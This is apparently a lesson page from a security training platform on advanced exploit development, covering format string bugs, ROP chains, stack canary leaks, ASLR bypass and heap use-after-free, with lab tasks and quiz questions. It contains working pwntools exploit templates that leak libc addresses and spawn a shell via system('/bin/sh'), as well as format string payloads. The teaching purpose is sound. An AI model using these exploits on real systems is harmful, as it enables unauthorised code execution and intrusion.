Advanced Exploit Development

Go beyond basic stack overflows to ROP chain construction, format string exploitation, heap spraying, and bypassing modern mitigations: ASLR, NX/DEP, stack canaries, and PIE.

expert 80m 3 tasks

Learning Objectives

  • Understand and bypass stack canaries by leaking stack values
  • Exploit format string vulnerabilities to read and write memory
  • Construct ROP (Return-Oriented Programming) chains to bypass NX/DEP
  • Bypass ASLR using information leaks and partial overwrites
  • Analyze heap vulnerabilities: use-after-free and double free

Modern Binary Mitigations

Modern systems have multiple exploit mitigations:

1. Stack Canary (SSP)
   - Random value placed on stack before return address
   - Checked on function return: if modified, abort
   - Bypass: leak the canary, write it back correctly

2. NX/DEP (No-Execute / Data Execution Prevention)
   - Stack and heap marked non-executable
   - Shellcode on stack = SIGKILL (can't execute data)
   - Bypass: ROP chains (use existing executable code)

3. ASLR (Address Space Layout Randomization)
   - Stack, heap, libraries at random base addresses each run
   - Makes hardcoded addresses useless
   - Bypass: information leak to reveal real addresses

4. PIE (Position Independent Executable)
   - Binary code itself at random address
   - Combined with ASLR: entire address space randomized
   - Bypass: leak code address + calculate base

5. RELRO (Relocation Read-Only)
   - Full RELRO: GOT (Global Offset Table) read-only
   - Prevents GOT overwrite exploits

Check protections:
checksec --file=./binary
# RELRO:    Full RELRO
# Stack:    Canary found
# NX:       NX enabled
# PIE:      PIE enabled
# ASLR:     /proc/sys/kernel/randomize_va_space = 2

Format String Vulnerabilities

// Vulnerable code:
printf(user_input);            // BAD — user controls format string
// vs safe:
printf("%s", user_input);      // GOOD

// Format string specifiers:
%s    read string at pointer
%d    read integer
%x    read 4 bytes from stack as hex
%p    read pointer from stack
%n    WRITE: write number of bytes printed so far to pointer on stack

// Reading arbitrary memory:
// printf("%8$x") reads the 8th argument (stack position 8)
printf("%1$x.%2$x.%3$x.%4$x.%5$x.%6$x.%7$x.%8$x")
# Dumps stack values — find canary, return address, libc base

// Writing arbitrary memory:
// Write 0x41414141 to address (complex):
printf("%100x%n")  # writes 100 (0x64) to the address at next stack position

// Practical exploit steps:
# 1. Find offset: AAAA%1$x.%2$x...%n$x until you see 41414141
# 2. Leak canary: %N$x where N is canary position
# 3. Leak return address / libc address
# 4. Calculate offsets, build exploit

Return-Oriented Programming (ROP)

NX/DEP: can't execute shellcode on stack
Solution: ROP  chain existing executable code snippets ("gadgets")

ROP Gadget: short instruction sequence ending in 'ret'
  e.g.: pop rdi ; ret
        pop rsi ; ret
        mov rax, 0 ; ret

ret instruction: pops next address from stack and jumps to it
Attacker controls stack  controls execution flow through gadgets

Goal: call system("/bin/sh") using gadgets + libc:
1. pop rdi ; ret       put "/bin/sh" address in rdi (arg1)
2. [address of "/bin/sh" string]
3. ret alignment (stack alignment for system())
4. [address of system()]
 OS executes: system("/bin/sh") = shell!

Building ROP Chains with pwntools

from pwn import *

# Load binary and target:
elf = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
r = process('./vuln')

# Find gadgets with ROPgadget or ropper:
# ROPgadget --binary ./vuln --rop --badbytes 0a
# output: 0x401234 : pop rdi ; ret

rop = ROP(elf)
rop.call('puts', [elf.got['puts']])  # leak puts() address
rop.call('main')                      # return to main

payload = b'A' * offset
payload += p64(rop.chain())

# After leak: calculate libc base
libc_base = leaked_puts - libc.sym['puts']
libc.address = libc_base

# Second ROP: system("/bin/sh")
bin_sh = next(libc.search(b'/bin/sh'))
system = libc.sym['system']

rop2 = ROP(libc)
rop2.call('system', [bin_sh])

payload2 = b'A' * offset + p64(canary) + b'B' * 8
payload2 += p64(rop2.chain())
r.sendline(payload2)
r.interactive()

Stack Canary Bypass

# Canary: 8-byte random value (x64) at fixed offset from return address
# Typically: 0x???...??\x00 (null byte prefix on Linux)

# Method 1: Format string leak
# Find canary offset, leak with %N$x

# Method 2: Brute force (32-bit only, 1/256 chance null byte)
# Loop: if crash → wrong, if prompt → survived

# Method 3: Fork server (same canary per fork)
# Each fork() inherits parent's canary — brute force byte by byte
# 4 bytes: 256*4 = 1024 guesses (fast)

from pwn import *

def leak_canary(offset):
    r = process('./vuln')
    r.recvuntil(b'> ')
    r.sendline(f'%{offset}$p'.encode())
    val = int(r.recvline().strip(), 16)
    r.close()
    return val

canary = leak_canary(23)  # position 23 on stack = canary
log.success(f'Canary: {hex(canary)}')

# Now include canary in ROP chain:
payload = b'A' * padding + p64(canary) + p64(0) + p64(ret_address)

ASLR Bypass via Information Leak

# ASLR randomizes base addresses — but offsets within binary are fixed!
# If we can leak ONE address (libc function, stack pointer)
# → calculate: leaked_addr - known_offset = base_address

# Step 1: Leak libc function via format string or GOT read
puts_addr = leak_function_address('puts')

# Step 2: Calculate libc base
# puts_offset from libc symbols:
puts_offset = libc.sym['puts']
libc_base = puts_addr - puts_offset

# Step 3: Calculate other function addresses
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))

log.info(f'libc base: {hex(libc_base)}')
log.info(f'system: {hex(system)}')
log.info(f'/bin/sh: {hex(bin_sh)}')

Heap Exploitation Concepts

// Heap: dynamic memory (malloc/free)
// malloc(size) → allocates chunk on heap
// free(ptr)    → returns chunk to allocator (ptmalloc2 on Linux)

// Use-After-Free (UAF):
char *a = malloc(64);  // allocate
free(a);               // free
// 'a' still points to freed memory
char *b = malloc(64);  // allocator gives same memory
b[0] = 0x41;           // writes to old chunk
a[0];                  // reads attacker-controlled data via 'a'
// If 'a' is a vtable or function pointer: code execution!

// Double Free:
free(ptr);
free(ptr);  // free same pointer twice
// Corrupts allocator metadata → controlled heap layout
// Can overwrite malloc metadata to write arbitrary address

// Tools for heap debugging:
# pwndbg: heap command shows chunks
# GEF: heap bins, chunks analysis
# malloc_chunk(addr) in pwndbg

pwndbg> heap
pwndbg> bins         # fastbins, unsorted bins, small bins
pwndbg> arena        # main arena state

pwntools Exploit Framework

# Complete exploit template:
from pwn import *

context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'info'

elf = ELF('./vuln', checksec=True)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def start():
    if args.REMOTE:
        return remote('challenge.site', 1337)
    else:
        return process('./vuln')

r = start()

# Interact with binary
r.recvuntil(b'Input: ')
payload = b'A' * 64 + b'B' * 8

# Send and receive
r.sendline(payload)
output = r.recv(1024)

# For binaries requiring user interaction after exploit:
r.interactive()

Exploit a format string vulnerability on a lab binary (use pwn.college or exploit.education free VMs): (1) identify: printf(buf) vs printf('%s', buf), (2) input: AAAA%1$x.%2$x.%3$x...%20$x to find 'AAAA' (0x41414141) on stack, (3) use offset to leak the canary: %N$p, (4) leak a return address to defeat ASLR, (5) calculate libc base, (6) build complete exploit using pwntools.

✦ Answer the questions to complete this task

What does %n format specifier do and why is it dangerous?

Build a ROP chain to bypass NX: (1) use checksec to verify NX is enabled on a lab binary, (2) ROPgadget --binary ./vuln --rop to list gadgets, (3) find: pop rdi ; ret gadget, (4) locate /bin/sh string in libc (strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep '/bin/sh'), (5) build chain: [offset] + [canary] + [RBP pad] + [pop rdi ; ret] + [/bin/sh addr] + [system addr], (6) use pwntools ROP class to automate chain construction.

✦ Answer the questions to complete this task

Why does a ROP chain bypass NX/DEP?

Solve a pwn challenge from picoCTF or pwn.college using pwntools: (1) identify vulnerability type: buffer overflow, format string, or UAF, (2) checksec: what mitigations are present?, (3) write Python exploit with pwntools, (4) test locally, (5) adapt for remote with args.REMOTE, (6) submit flag. Document: vulnerability type, mitigations bypassed, ROP gadgets used.

✦ Answer the questions to complete this task

What is a 'one_gadget' in libc exploitation?

💪 Exercises & Challenges

📝 MCQ Medium +20 XP

Exploit Development MCQ

Exploit Development MCQ

Start →
⚙️ Practical Medium +30 XP

ROP Chain Exploit

ROP Chain Exploit

Start →
🚩 Challenge Hard +50 XP

Bypass the Canary

Bypass the Canary

Start →